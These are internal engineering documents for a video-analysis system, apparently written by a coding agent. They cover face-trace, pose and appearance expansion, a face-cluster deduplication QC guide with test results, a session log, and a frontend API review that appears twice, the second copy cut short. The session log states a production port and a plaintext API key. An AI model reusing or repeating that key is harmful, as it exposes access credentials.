- Pose: Face frames + expanded frames (pose may still be visible when face is occluded)
- Appearance: Pose frames + expanded frames (appearance may still be visible when pose is occluded)
---
## Expansion Rules
### Pose Expansion
| Parameter | Value | Description |
|-----------|-------|-------------|
| `miss_threshold` | 3 | Stop after 3 consecutive frames without pose |
| `max_range` | 300 frames | Maximum expansion distance (≈10s at 30fps) |
| `output_rate` | 8Hz | Output sampling rate |
### Appearance Expansion
| Parameter | Value | Description |
|-----------|-------|-------------|
| `miss_threshold` | 3 | Stop after 3 consecutive frames with similarity < 0.5 |
| `similarity_threshold` | 0.5 | HSV histogram similarity threshold |
| `max_range` | 300 frames | Maximum expansion distance |
| `output_rate` | 8Hz | Output sampling rate |
---
## Tracking Continuity
### Pose Can Connect Face Traces
```
Face trace A (frames 1-10) Face trace B (frames 20-30)
↘ ↙
Pose connects (frames 15-18)
(Same person, face was occluded)
```
When pose expansion from two face traces overlaps, they may belong to the same person. Future enhancement: pose-based trace merging.
### Appearance Can Connect Pose Traces
Similar to pose, appearance similarity can connect pose traces when pose is temporarily occluded.
---
## Implementation Files
| Component | File |
|-----------|------|
| Face Detection | `scripts/swift_processors/swift_face.swift` |
| Face Tracking | `scripts/store_traced_faces.py` |
| Pose Expansion | `scripts/swift_processors/swift_pose_expansion.swift` |
| Appearance Expansion | `scripts/swift_processors/swift_appearance_expansion.swift` |
| Pose Processor Wrapper | `scripts/pose_processor_v2.py` |
| Appearance Processor Wrapper | `scripts/appearance_processor_v2.py` |
| Dependencies Definition | `src/core/db/postgres_db.rs:568-577` |
---
## Testing
### Verify Trace ID Inheritance
```bash
# Check face traces
cat /Users/accusys/momentry/output/$FILE_UUID.face_traced.json | jq '.frames[].faces[].trace_id' | sort | uniq -c
# Check pose traces (should have same trace_ids)
cat /Users/accusys/momentry/output/$FILE_UUID.pose.json | jq '.frames[].trace_id' | sort | uniq -c
# Check appearance traces (should have same trace_ids)
cat /Users/accusys/momentry/output/$FILE_UUID.appearance.json | jq '.frames[].trace_id' | sort | uniq -c
```
### Verify Frame Count Relationship
```bash
# face ≤ pose ≤ appearance
FACE_COUNT=$(cat $OUTPUT/$UUID.face.json | jq '.frames | length')
POSE_COUNT=$(cat $OUTPUT/$UUID.pose.json | jq '.frames | length')
APP_COUNT=$(cat $OUTPUT/$UUID.appearance.json | jq '.frames | length')
echo "Face: $FACE_COUNT, Pose: $POSE_COUNT, Appearance: $APP_COUNT"
# Expected: Face ≤ Pose ≤ Appearance
```
---
*Document Version: 1.0*
*Last Updated: 2026-07-19*
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---
title: QC FaceCluster Support Guide
version: 2.0
date: 2026-07-24
author: OpenCode
status: final
---
# QC Modal: face_cluster Support
> Companion guide for Studio team: frontend changes in `/Users/accusys/momentry_studio/src/views/LibraryView.vue` for `face_cluster` support, and backend multi-stage trace dedup upgrade.
| Scope | `/Users/accusys/momentry_studio/src/views/LibraryView.vue` |
|-------|-------------------------------------------------------------|
| Backend changes | [`/Users/accusys/momentry_core/docs_v1.0/DESIGN/AlwaysProduce_Processing_Contract.md`](../DESIGN/AlwaysProduce_Processing_Contract.md) |
| Status | ✅ Frontend done (commit `2af8ffa`). Backend upgraded to multi-stage trace dedup. |
| Version | 2.0 |
**Glossary:**
| Term | Definition |
|------|------------|
| **Always-Produce rule** | Every processor MUST write its output JSON after scanning the last frame, even for zero results. See [`/Users/accusys/momentry_core/docs_v1.0/DESIGN/AlwaysProduce_Processing_Contract.md`](../DESIGN/AlwaysProduce_Processing_Contract.md#2-always-produce-rule). |
| **Stage 2** | Second-level processors that depend on Stage 1 (`asr`, `ocr`, `face`): `asrx`, `face_cluster`, `pose`, `appearance`. |
| **QC Modal** | Pipeline Quality Control modal launched via the 🔍 button in the file context menu (advanced mode). |
| **trace_id** | Per-video integer identifier linking face detections across frames (from face tracker). Each `trace_id` represents the same person in a continuous shot. |
| **Multi-stage dedup** | Two-stage clustering: (1) strict AgglomerativeClustering on trace-level mean embeddings, (2) cross-cluster merge via trace-pair voting with temporal overlap guard. |
---
## Background
The backend at `/Users/accusys/momentry_core/scripts/fast_face_clustering_processor.py` was upgraded from single-pass face-level clustering to **multi-stage trace-based deduplication**.
### Problem: Single-pass clustering limitations
The old algorithm ran AgglomerativeClustering (cosine distance threshold 0.4) on up to 25k+ individual face embeddings, using random sampling for large datasets. This caused:
- **Fragmentation**: same person appearing in different shots/scenes got split across multiple clusters because their face embeddings exceeded the fixed threshold
- **Sampling bias**: only 5000 faces sampled for large files, minority clusters missed
- **No temporal info**: no use of `trace_id` or frame-range overlap checks
### Analysis: 12 files, 180,791 face embeddings
Analysis of all production data in Qdrant `_faces` collection showed:
| Metric | Value |
|--------|-------|
| Files analyzed | 12 |
| Total face embeddings | 180,791 |
| Worst fragmentation | `c36f35685177` — 62k faces, 5,616 traces, 46% single-face |
| Cross-trace pairs >0.7 similarity | 529,305 in worst file |
| Temporal overlap among high-sim pairs | 99.9% **non-overlapping** (safe to merge) |
| Temporal overlap for talking head | 100% **overlapping** (temporal guard prevents false merge) |
### Solution: Multi-stage trace dedup
1. **Trace aggregation**: group all Qdrant face embeddings by `trace_id`, compute confidence-weighted mean embedding per trace + frame range
2. **Stage 1 (strict)**: AgglomerativeClustering on trace-level mean vectors (cosine distance threshold 0.35)
3. **Stage 2 (merge)**: trace-pair voting across cluster boundaries — if >30% of cross-cluster trace pairs have similarity >0.70 AND overall cluster frame ranges don't overlap → merge
### Sourced from Qdrant `_faces` Collection
Collection: `_faces` (512D, Cosine distance)
Payload: `{file_uuid, frame, trace_id, bbox, confidence, identity_id, identity_uuid}`
---
## face_cluster.json Output Format (Unchanged)
From `/Users/accusys/momentry_core/scripts/fast_face_clustering_processor.py`:
```json
{
"status": "has_faces",
"file_uuid": "9781de6d...",
"clusters": [
{
"cluster_id": "Person_0",
"face_count": 12,
"representative_face": {
"face_id": "face_10_3",
"confidence": 0.95,
"frame": 123,
"bbox": { "x": 100, "y": 200, "width": 50, "height": 60 }
}
}
],
"frames": [
{
"frame": 123,
"timestamp": 5.13,
"faces": [
{ "face_id": "face_10_3", "cluster_id": "Person_0", "confidence": 0.95 }
]
}
]
}
```
On no-faces / no-data, status is `"no_faces"`, `"no_face_json"`, or `"no_embeddings"`, with `"clusters": []` and `"frames": []`.
---
## Backend: Complete
| File | Change | Status |
|------|--------|--------|
| `/Users/accusys/momentry_core/scripts/fast_face_clustering_processor.py` | **Multi-stage trace dedup**: trace aggregation + Stage 1 strict clustering (0.35) + Stage 2 trace-pair voting merge (0.70 sim, 0.30 ratio) + temporal overlap guard | ✅ Done |
| `/Users/accusys/momentry_core/scripts/fast_face_clustering_processor.py` | Always-Produce: 3 early returns write empty output + RedisPublisher progress | ✅ Done |
| `/Users/accusys/momentry_core/src/worker/job_worker.rs:186` | Worker heartbeat EXPIRE 15s after HMSET | ✅ Done |
| `/Users/accusys/momentry_core/src/api/health.rs:631-655` | `check_worker_alive()` — Redis TTL check replacing `ps aux` | ✅ Done |
| `/Users/accusys/momentry_core/src/api/processing.rs:842` | `GET /api/v1/file/{uuid}/processor-counts` — auto-includes `FaceCluster` via `ProcessorType::all()` | ✅ Already correct |
### Test Results (7 files, 155,095 face embeddings total)
| File | Type | Faces | Traces | Stage 1 | Final | Merged |
|------|------|-------|--------|---------|-------|--------|
| `c36f35685177` | Crowd | 62,298 | 5,616 | 1,113 | 826 | **287** |
| `d8acb03870f0` | Crowd | 693 | 107 | 45 | 43 | 2 |
| `84d838f260e1` | Crowd | 597 | 89 | 34 | 33 | 1 |
| `c0a9dc37cd84` | Crowd | 1,137 | 78 | 26 | 24 | 2 |
| `31a6b8212760` | Multi | 744 | 32 | 10 | 9 | 1 |
| `5e5f3de82208` | Multi | 532 | 22 | 4 | 4 | 0 |
| `bfba056f5021` | Talking head | 89,791 | 16 | 4 | 4 | **0 (correct)** |
**Key verification**: talking head file had 100% temporal overlap among all high-sim trace pairs — Stage 2 correctly merged 0 clusters (temporal guard prevented false positive).
---
## Frontend: Studio Team Changes (Already Done)
**Commit**: `2af8ffa` → Gitea (pushed by Studio team)
### Change 1: Job Output File List (P0)
**File**: `/Users/accusys/momentry_studio/src/views/LibraryView.vue`
**Line**: ~L1034
Add `'face_cluster'` to the `processors` array in `refreshSystemStatus()`:
```typescript
const processors = ['cut', 'asr', 'asrx', 'face', 'ocr', 'pose', 'appearance', 'face_cluster']
```
Expected: QC Modal → Jobs → each job's output list includes `face_cluster.json` with cluster count. Empty results show `face_cluster.json (0筆)`.
### Change 2: QC Result Query List (P0)
**File**: `/Users/accusys/momentry_studio/src/views/LibraryView.vue`
**Line**: ~L1096
Add `'face_cluster'` to the `processors` array in `runProcessorQC()`:
```typescript
const processors = ['cut', 'asr', 'asrx', 'face', 'ocr', 'pose', 'appearance', 'face_cluster']
```
Expected: Pipeline visualization and node status include `FACE_CLUSTER`.
### Change 3: `getJsonCount()` — Add `clusters` Case (P0)
**File**: `/Users/accusys/momentry_studio/src/views/LibraryView.vue`
**Line**: ~L1002
Insert `data.clusters` check before `return 0`:
```typescript
if (data.cuts) return data.cuts.length
if (data.clusters) return data.clusters.length
return 0
```
`face_cluster.json` uses `clusters` array — without this branch, count always shows 0.
### Change 4: Pipeline Stage 2 — Add FACE_CLUSTER Node (P0)
**File**: `/Users/accusys/momentry_studio/src/views/LibraryView.vue`
**Line**: ~L460
Add `FACE_CLUSTER` to the Stage 2 filter:
```html
v-for="r in qcResults.filter(p => ['ASRX','FACE_CLUSTER','APPEARANCE'].includes(p.processor))"
```
Expected pipeline:
```
[ASRX] → [FACE_CLUSTER] → [APPEARANCE] → 📄 JSON Outputs
```
### Change 5 (Optional, P1): Context Menu
**File**: `/Users/accusys/momentry_studio/src/views/LibraryView.vue`
**Line**: ~L179
Insert `face_cluster` block between ASRX and Face:
```html
<div class="ms-proc-line" :class="procStatusClass('face_cluster')">
<label class="ms-fm-check-label"><input type="checkbox" v-model="procFaceCluster"> Face Cluster</label>
<span class="ms-proc-status">{{ procStatusIcon('face_cluster') }}</span>
<span class="ms-proc-count" @click.stop="viewProcessorJson('face_cluster')">{{ procCountLabel('face_cluster', 'frame') }}</span>
<button class="ms-proc-redo" @click.stop="redoProcessor('face_cluster')" title="Re-run Face Cluster">🔄</button>
</div>
```
Add reactive ref:
```typescript
const procFaceCluster = ref(true)
```
### Change 6 (Optional, P1): `selectedProcessors()`
**File**: `/Users/accusys/momentry_studio/src/views/LibraryView.vue`
**Line**: ~L930
```typescript
if (procAsrx.value) procs.push('asrx')
if (procFaceCluster.value) procs.push('face_cluster')
if (procFace.value) procs.push('face')
```
---
## What to Expect in QC
With the multi-stage algorithm:
| Before (single-pass) | After (multi-stage trace dedup) |
|----------------------|--------------------------------|
| Many small clusters for the same person across different shots | Fewer, more accurate clusters — cross-shot fragments merged |
| Single-face traces often assigned to wrong cluster (noise) | Single-face traces remain as small clusters but don't pollute larger ones |
| Talking head: reasonable (limited impact) | Unchanged (temporal guard prevents false merge) |
| Crowd/multi-person: severe fragmentation | 26% fewer clusters in worst case (287 clusters merged in test) |
**Example**: `c36f35685177` (62k faces, crowd scene)
- Old: ~1,113+ clusters (single-pass, sampling-based)
- New: 826 clusters (trace-level, two-stage, temporal verified)
---
## Verification
1. Open QC Modal on a processed file (with or without faces)
2. Verify Jobs output list includes `face_cluster.json`
3. Verify Pipeline Stage 2 shows `FACE_CLUSTER` node with ✓ status and cluster count
4. For a no-faces file (e.g., `9781de6d...`), confirm `face_cluster.json` shows 0 clusters
---
## See Also
- [`/Users/accusys/momentry_core/docs_v1.0/DESIGN/AlwaysProduce_Processing_Contract.md`](../DESIGN/AlwaysProduce_Processing_Contract.md) — Frame-Scan model, Always-Produce rule, Redis progress spec
- [`/Users/accusys/momentry_core/docs_v1.0/DESIGN/Worker_Health_Check_Mechanism.md`](../DESIGN/Worker_Health_Check_Mechanism.md) — Worker heartbeat TTL mechanism
- [`/Users/accusys/momentry_core/docs_v1.0/DESIGN/FILE_LIFECYCLE_V1.0.md`](../DESIGN/FILE_LIFECYCLE_V1.0.md) — Processor stage definitions
- `/Users/accusys/momentry_core/src/core/db/postgres_db.rs:495` — `ProcessorType::all()` includes `FaceCluster`
- `/Users/accusys/momentry_core/src/api/processing.rs:842` — `GET /api/v1/file/{uuid}/processor-counts`
- `/Users/accusys/momentry_core/scripts/fast_face_clustering_processor.py` — Multi-stage trace dedup implementation
---
## Version History
| Version | Date | Author | Changes |
|---------|------|--------|---------|
| 1.0 | 2026-07-24 | OpenCode | Initial — frontend changes for Always-Produce face_cluster support |
| 2.0 | 2026-07-24 | OpenCode | Backend upgraded to multi-stage trace dedup. Frontend changes completed. |
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# Work State - 2026-07-20 Session
## Objective
- Implement correct face -> face_trace -> pose -> appearance pipeline with proper expansion rules
- Pose expands from face traces until 3 consecutive misses (8Hz sampling)
- Appearance extracts colors at keypoint positions for agent search
- Implement cluster-agent endpoint for Studio's face deduplication feature
## Important Details
- **Identity vs Tracking**: Face = identity (who), Pose/Appearance = tracking (where/what)
- **Sampling rate**: `floor(fps / 8)` ensures >= 8Hz
- **Expansion rule**: Stop after 3 consecutive frames without detection
- **Trace ID inheritance**: face trace_id -> pose -> appearance
- **Frame count**: face_frames ≤ pose_frames ≤ appearance_frames
- **Appearance**: Colors at keypoint positions (head, torso, legs, feet) + brightness
- **Agent search**: Top-K search for "person wearing red shirt" queries
- **VLM complementary**: L1 quick color extraction, L2 VLM verification when needed
- Production server at port 3002, API key: `muser_demo_key_32chars_abcdef1234567890`
## Work State
### Completed
- ✅ Created `swift_pose_expansion.swift`: reads face_traced.json, expands pose with trace_id inheritance
- ✅ Created `swift_appearance_expansion.swift`: reads pose.json, extracts keypoint colors, records brightness
- ✅ Created `pose_processor_v2.py` and `appearance_processor_v2.py` Python wrappers
- ✅ Created design document: `docs_v1.0/DESIGN/Face_Pose_Appearance_Design.md`
- ✅ Implemented `POST /api/v1/file/:file_uuid/cluster-agent` endpoint
- ✅ Implemented `GET /api/v1/cluster-results` endpoint
- ✅ Built Swift binaries successfully
- ✅ Updated pipeline documentation with correct processor order
- ✅ Fixed `fast_face_clustering_processor.py` path handling (flat vs subdirectory)
- ✅ Fixed Python script output format to match Rust `FaceClusterResult` struct
- ✅ Fixed `auto_bind_speakers` None handling
- ✅ Fixed cluster-results to accept file_uuid directly (not just content_hash)
### Active
- None - all endpoints tested and working
### Blocked
- None
## Test Results
- **cluster-agent**: Successfully detected 2 persons (Person_0: 194 faces, Person_1: 2 faces)
- **cluster-results**: Returns proper cluster info and 196 frames
## Relevant Files
- `/Users/accusys/momentry_core/scripts/fast_face_clustering_processor.py`: Fixed path and output format
- `/Users/accusys/momentry_core/src/api/pipeline.rs`: cluster-agent and cluster-results endpoints
- `/Users/accusys/momentry_core/src/core/processor/face_clustering.rs`: FaceClusterResult struct
- Test file UUID: `9f6a9cd55a5809f977f5a6589b9045c5` (FilmRiot test)
## Next Steps
1. Test cluster-results from Studio UI
2. Verify Studio can call cluster-agent and display results
3. Implement pose expansion binary integration
4. Implement appearance extraction binary integration
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# Studio Frontend API Usage Analysis & Recommendations
**Date:** 2026-07-22
**Status:** Analysis Report
**Author:** OpenCode
---
## Executive Summary
分析了 Studio 前端 (`momentry_studio`) 對 Core API 的使用方式，發現以下主要問題：
| 優先級 | 問題 | 影響 |
|--------|------|------|
| **Critical** | Video streaming 忽略 frame/time 參數 | 無法正確指定播放範圍 |
| **Critical** | 參數命名不一致 | API 呼叫可能失敗 |
| **High** | 錯誤處理淺層 | 5xx 不重試、無 timeout |
| **High** | 回應格式不一致 | 多重 fallback 路徑 |
| **Medium** | 前端硬編碼中文 | 破壞 i18n |
---
## 1. Critical Issues
### 1.1 Video Streaming Parameters Ignored
**位置:** `src/api/index.ts:237-243`, `VideoPlayer.vue:276-632`
**現狀:**
```typescript
// VideoPlayer.vue 傳入多個參數
const data = await apiCall('get_video_stream', {
uuid: fu,
startTime: null,
endTime: null,
startFrame: stFrame,
endFrame: enFrame,
original: props.useOriginal,
})
// 但 buildHttpRequest 只使用 uuid 和 original
case 'get_video_stream': {
let url = `/api/v1/file/${a.uuid}/video`
if (a.original === true) {
url += '?original=true'
}
return { url, method: 'GET' }
}
```
**問題:** `startTime`, `endTime`, `startFrame`, `endFrame` 被完全忽略。
**建議:**
```typescript
case 'get_video_stream': {
let url = `/api/v1/file/${a.uuid}/video`
const params: string[] = []
if (a.original === true) params.push('original=true')
if (a.startFrame != null) params.push(`start_frame=${a.startFrame}`)
if (a.endFrame != null) params.push(`end_frame=${a.endFrame}`)
if (a.startTime != null) params.push(`start_time=${a.startTime}`)
if (a.endTime != null) params.push(`end_time=${a.endTime}`)
if (params.length) url += '?' + params.join('&')
return { url, method: 'GET' }
}
```
---
### 1.2 Parameter Naming Inconsistency
**位置:** `src/api/index.ts` 多處
**現狀:**
| Endpoint | Frontend uses | Core API expects |
|----------|---------------|------------------|
| `get_files` | `a.args?.pageSize` | `page_size` |
| `get_people` | `perPage` | `per_page` |
| `get_file_identities` | `pageSize` | `page_size` |
| `search_identities` | `limit` | `limit` (OK) |
**問題:** 參數命名風格混亂。
**建議:** 統一使用 `snake_case` 作為 API 參數，或建立 mapping layer:
```typescript
// 統一命名映射
const API_PARAM_MAP: Record<string, string> = {
pageSize: 'page_size',
perPage: 'per_page',
fileUuid: 'file_uuid',
// ...
}
function normalizeParams(params: Record<string, any>): Record<string, any> {
return Object.fromEntries(
Object.entries(params).map(([k, v]) => [API_PARAM_MAP[k] || k, v])
)
}
```
---
## 2. High Priority Issues
### 2.1 Error Handling
**位置:** `src/api/index.ts:95-153`
**現狀問題:**
1. **不重試 5xx:** Line 108 只對 network error 重試
2. **無 timeout:** fetch 可能無限等待
3. **錯誤分類缺失:** 無法區分 network / validation / server error
**建議:**
```typescript
async function httpCall(cmd: string, args: Record<string, any>, retries = 3): Promise<any> {
const controller = new AbortController()
const timeout = setTimeout(() => controller.abort(), 30000) // 30s timeout
try {
for (let i = 0; i < retries; i++) {
try {
const response = await fetch(fullUrl, {
...opts,
signal: controller.signal,
})
if (response.ok) return await response.json()
// Retry on 5xx
if (response.status >= 500 && i < retries - 1) {
await new Promise(r => setTimeout(r, 1000 * (i + 1)))
continue
}
throw new ApiError(response.status, await response.text())
} catch (e) {
if (e.name === 'AbortError') throw new TimeoutError(cmd)
if (i < retries - 1) {
await new Promise(r => setTimeout(r, 1000 * (i + 1)))
continue
}
throw e
}
}
} finally {
clearTimeout(timeout)
}
}
```
---
### 2.2 Response Format Inconsistency
**位置:** `src/api/index.ts:536-824`
**現狀:**
```typescript
const files = data.files || data.data || data || [] // 多重 fallback
const identities = data.identities || data.data || data || []
```
**問題:** Core API 回應格式不穩定，前端需要多重 fallback。
**建議:**
1. **短期:** 前端增加 schema validation
```typescript
import { z } from 'zod'
const FilesResponseSchema = z.object({
files: z.array(FileSchema),
total: z.number().optional(),
})
function validateResponse(cmd: string, data: unknown) {
const schema = RESPONSE_SCHEMAS[cmd]
if (schema) return schema.parse(data)
return data
}
```
2. **長期:** Core API 統一回應格式
```typescript
// 統一格式
interface ApiResponse<T> {
data: T
total?: number
page?: number
per_page?: number
}
```
---
### 2.3 Hardcoded Chinese Strings
**位置:** `src/api/index.ts:634-701`
**現狀:**
```typescript
let asrStatus: 'no_audio_track' | 'silent_audio' | 'has_transcript' | 'processing' = 'processing'
let asrMessage = '處理中'
if (asrSegments.length === 0) {
if (asrLang === '' && asrLangProb === 0) {
asrStatus = 'no_audio_track'
asrMessage = '無音軌' // 硬編碼中文
} else {
asrStatus = 'silent_audio'
asrMessage = asrLang ? `無語音 (${asrLang})` : '無語音'
}
}
```
**問題:** UI 字串不應在 API 層。
**建議:**
```typescript
// API 層只回傳 status
asr_status: asrStatus, // 'no_audio_track' | 'silent_audio' | 'has_transcript' | 'processing'
// UI 層用 i18n
const ASR_MESSAGES: Record<string, string> = {
no_audio_track: 'search.asr.no_audio_track',
silent_audio: 'search.asr.silent_audio',
processing: 'search.asr.processing',
}
// Vue component
const asrMessage = t(ASR_MESSAGES[result.asr_status])
```
---
## 3. Medium Priority Issues
### 3.1 Tauri Mode Hardcoded URL
**位置:** `src/api/config.ts:1-11`
**現狀:**
```typescript
export function getApiBase(): string {
if (isTauri) return 'http://localhost:8888' // 硬編碼
// ...
}
```
**建議:** 使用環境變數或配置:
```typescript
const TAURI_API_PORT = import.meta.env.VITE_TAURI_API_PORT || '8888'
const TAURI_API_HOST = import.meta.env.VITE_TAURI_API_HOST || 'localhost'
export function getApiBase(): string {
if (isTauri) return `http://${TAURI_API_HOST}:${TAURI_API_PORT}`
// ...
}
```
---
### 3.2 Pipeline Progress Recalculation
**位置:** `src/store.ts:874-891`
**現狀:** 前端重新計算 `overall_progress`，顯示對 API 值的不信任。
**建議:**
1. 確認 Core API 計算邏輯正確
2. 移除前端重算邏輯，信任 API 值
---
### 3.3 Request Deduplication Missing
**位置:** `src/store.ts` 多處 concurrent loading
**現狀:** 可能對同一資源發出多個重複請求。
**建議:** 實作 request deduplication:
```typescript
const pendingRequests = new Map<string, Promise<any>>()
async function dedupedApiCall(cmd: string, args: Record<string, any>): Promise<any> {
const key = `${cmd}:${JSON.stringify(args)}`
if (pendingRequests.has(key)) {
return pendingRequests.get(key)!
}
const promise = apiCall(cmd, args).finally(() => {
pendingRequests.delete(key)
})
pendingRequests.set(key, promise)
return promise
}
```
---
## 4. Recommended Action Plan
### Phase 1: Critical Fixes (1-2 days)
| Task | File | Effort |
|------|------|--------|
| Fix video streaming params | `api/index.ts:237-243` | 30 min |
| Standardize param naming | `api/index.ts` 多處 | 2 hrs |
| Add request timeout | `api/index.ts:95-153` | 1 hr |
### Phase 2: High Priority (3-5 days)
| Task | File | Effort |
|------|------|--------|
| Improve error handling | `api/index.ts` | 4 hrs |
| Extract i18n strings | `api/index.ts`, `locales/*.json` | 3 hrs |
| Add response validation | `api/index.ts` | 4 hrs |
### Phase 3: Medium Priority (1 week)
| Task | File | Effort |
|------|------|--------|
| Configurable Tauri URL | `api/config.ts` | 1 hr |
| Request deduplication | `api/index.ts` | 3 hrs |
| Remove progress recalculation | `store.ts` | 2 hrs |
---
## 5. Open Questions
1. **Video streaming params:** 是否應該支援 `startFrame`/`endFrame`？目前 Core API 支援，但前端未使用。
2. **Response format:** Core API 是否應統一格式？需要後端配合修改。
3. **Error classification:** 是否需要更細緻的錯誤分類？例如 network / validation / server / timeout。
---
## Appendix: File Reference
| File | Key Lines | Issue |
|------|-----------|-------|
| `src/api/index.ts` | 16-20, 237-243 | Video streaming params ignored |
| `src/api/index.ts` | 95-153 | Error handling |
| `src/api/index.ts` | 536-824 | Response transformation |
| `src/api/config.ts` | 1-11 | Hardcoded URL |
| `src/components/VideoPlayer.vue` | 276-632 | Passes unused params |
| `src/store.ts` | 874-891 | Progress recalculation |
| `src/views/SearchView.vue` | 612-730 | Agent search parsing |
docs_v1.0/M4_workspace/2026-07-22_studio_api_usage_analysis.md
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# Studio Frontend API Usage Analysis & Recommendations
**Date:** 2026-07-22
**Status:** Analysis Report
**Author:** OpenCode
---
## Executive Summary
分析了 Studio 前端 (`momentry_studio`) 對 Core API 的使用方式，發現以下主要問題：
| 優先級 | 問題 | 影響 |
|--------|------|------|
| **Critical** | Video streaming 忽略 frame/time 參數 | 無法正確指定播放範圍 |
| **Critical** | 參數命名不一致 | API 呼叫可能失敗 |
| **High** | 錯誤處理淺層 | 5xx 不重試、無 timeout |
| **High** | 回應格式不一致 | 多重 fallback 路徑 |
| **Medium** | 前端硬編碼中文 | 破壞 i18n |
---
## 1. Critical Issues
### 1.1 Video Streaming Parameters Ignored
**位置:** `src/api/index.ts:237-243`, `VideoPlayer.vue:276-632`
**現狀:**
```typescript
// VideoPlayer.vue 傳入多個參數
const data = await apiCall('get_video_stream', {
uuid: fu,
startTime: null,
endTime: null,
startFrame: stFrame,
endFrame: enFrame,
original: props.useOriginal,
})
// 但 buildHttpRequest 只使用 uuid 和 original
case 'get_video_stream': {
let url = `/api/v1/file/${a.uuid}/video`
if (a.original === true) {
url += '?original=true'
}
return { url, method: 'GET' }
}
```
**問題:** `startTime`, `endTime`, `startFrame`, `endFrame` 被完全忽略。
**建議:**
```typescript
case 'get_video_stream': {
let url = `/api/v1/file/${a.uuid}/video`
const params: string[] = []
if (a.original === true) params.push('original=true')
if (a.startFrame != null) params.push(`start_frame=${a.startFrame}`)
if (a.endFrame != null) params.push(`end_frame=${a.endFrame}`)
if (a.startTime != null) params.push(`start_time=${a.startTime}`)
if (a.endTime != null) params.push(`end_time=${a.endTime}`)
if (params.length) url += '?' + params.join('&')
return { url, method: 'GET' }
}
```
---
### 1.2 Parameter Naming Inconsistency
**位置:** `src/api/index.ts` 多處
**現狀:**
| Endpoint | Frontend uses | Core API expects |
|----------|---------------|------------------|
| `get_files` | `a.args?.pageSize` | `page_size` |
| `get_people` | `perPage` | `per_page` |
| `get_file_identities` | `pageSize` | `page_size` |
| `search_identities` | `limit` | `limit` (OK) |
**問題:** 參數命名風格混亂。
**建議:** 統一使用 `snake_case` 作為 API 參數，或建立 mapping layer:
```typescript
// 統一命名映射
const API_PARAM_MAP: Record<string, string> = {
pageSize: 'page_size',
perPage: 'per_page',
fileUuid: 'file_uuid',
// ...
}
function normalizeParams(params: Record<string, any>): Record<string, any> {
return Object.fromEntries(
Object.entries(params).map(([k, v]) => [API_PARAM_MAP[k] || k, v])
)
}
```
---
## 2. High Priority Issues
### 2.1 Error Handling
**位置:** `src/api/index.ts:95-153`
**現狀問題:**
1. **不重試 5xx:** Line 108 只對 network error 重試
2. **無 timeout:** fetch 可能無限等待
3. **錯誤分類缺失:** 無法區分 network / validation / server error
**建議:**
```typescript
async function httpCall(cmd: string, args: Record<string, any>, retries = 3): Promise<any> {
const controller = new AbortController()
const timeout = setTimeout(() => controller.abort(), 30000) // 30s timeout
try {
for (let i = 0; i < retries; i++) {
try {
const response = await fetch(fullUrl, {
...opts,
signal: controller.signal,
})
if (response.ok) return await response.json()
// Retry on 5xx
if (response.status >= 500 && i < retries - 1) {
await new Promise(r => setTimeout(r, 1000 * (i + 1)))
continue
}
throw new ApiError(response.status, await response.text())
} catch (e) {
if (e.name === 'AbortError') throw new TimeoutError(cmd)
if (i < retries - 1) {
await new Promise(r => setTimeout(r, 1000 * (i + 1)))
continue
}
throw e
}
}
} finally {
clearTimeout(timeout)
}
}
```
---
### 2.2 Response Format Inconsistency
**位置:** `src/api/index.ts:536-824`
**現狀:**
```typescript
const files = data.files || data.data || data || [] // 多重 fallback
const identities = data.identities || data.data || data || []
```
**問題:** Core API 回應格式不穩定，前端需要多重 fallback。
**建議:**
1. **短期:** 前端增加 schema validation
```typescript
import { z } from 'zod'
const FilesResponseSchema = z.object({
files: z.array(FileSchema),
total: z.number().optional(),
})
function validateResponse(cmd: string, data: unknown) {
const schema = RESPONSE_SCHEMAS[cmd]
if (schema) return schema.parse(data)
return data
}
```
2. **長期:** Core API 統一回應格式
```typescript
// 統一格式
interface ApiResponse<T> {
data: T
total?: number
page?: number
per_page?: number
}
```
---
### 2.3 Hardcoded Chinese Strings
**位置:** `src/api/index.ts:634-701`
**現狀:**
```typescript
let asrStatus: 'no_audio_track' | 'silent_audio' | 'has_transcript' | 'processing' = 'processing'
let asrMessage = '處理中'
if (asrSegments.length === 0) {
if (asrLang === '' && asrLangProb === 0) {
asrStatus = 'no_audio_track'
asrMessage = '無音軌' // 硬編碼中文
} else {
asrStatus = 'silent_audio'
asrMessage = asrLang ? `無語音 (${asrLang})` : '無語音'
}
}
```
**問題:** UI 字串不應在 API 層。
**建議:**
```typescript
// API 層只回傳 status
asr_status: asrStatus, // 'no_audio_track' | 'silent_audio' | 'has_transcript' | 'processing'
// UI 層用 i18n
const ASR_MESSAGES: Record<string, string> = {
no_audio_track: 'search.asr.no_audio_track',
silent_audio: 'search.asr.silent_audio',
processing: 'search.asr.processing',
}
// Vue component
const asrMessage = t(ASR_MESSAGES[result.asr_status])
```
---
## 3. Medium Priority Issues
### 3.1 Tauri Mode Hardcoded URL
**位置:** `src/api/config.ts:1-11`
**現狀:**
```typescript
export function getApiBase(): string {
if (isTauri) return 'http://localhost:8888' // 硬編碼
// ...
}
```
**建議:** 使用環境變數或配置:
```typescript
const TAURI_API_PORT = import.meta.env.VITE_TAURI_API_PORT || '8888'
const TAURI_API_HOST = import.meta.env.VITE_TAURI_API_HOST || 'localhost'
export function getApiBase(): string {
if (isTauri) return `http://${TAURI_API_HOST}:${TAURI_API_PORT}`
// ...
}
```
---
### 3.2 Pipeline Progress Recalculation
**位置:** `src/store.ts:874-891`
**現狀:** 前端重新計算 `overall_progress`，顯示對 API 值的不信任。
**建議:**
1. 確認 Core API 計算邏輯正確
2. 移除前端重算邏輯，信任 API 值
---
### 3.3 Request Deduplication Missing
**位置:** `src/store.ts` 多處 concurrent loading
**現狀:** 可能對同一資源發出多個重複請求。
**建議:** 實作 request deduplication:
```typescript
const pendingRequests = new Map<string, Promise<any>>()
async function dedupedApiCall(cmd: string, args: Record<string, any>): Promise<any> {
const key = `${cmd}:${JSON.stringify(args)}`
if (pendingRequests.has(key)) {
return pendingRequests.get(key)!
}
const promise = apiCall(cmd, args).finally(() => {
pendingRequests.delete(key)
})
pendingRequests.set(key, promise)
return promise
}
```
---
## 4. Recommended Action Plan
### Phase 1: Critical Fixes (1-2 days)
| Task | File | Effort |
|------|------|--------|
| Fix video streaming params | `api/index.ts:237-243` | 30 min |
| Standardize param naming | `api/index.ts` 多處 | 2 hrs |
| Add request timeout | `api/index.ts:95-153` | 1 hr |
### Phase 2: High Priority (3-5 days)
| Task | File | Effort |
|------|------|--------|
| Improve error handling | `api/index.ts` | 4 hrs |
| Extract i18n strings | `api/index.ts`, `locales/*.json` | 3 hrs |
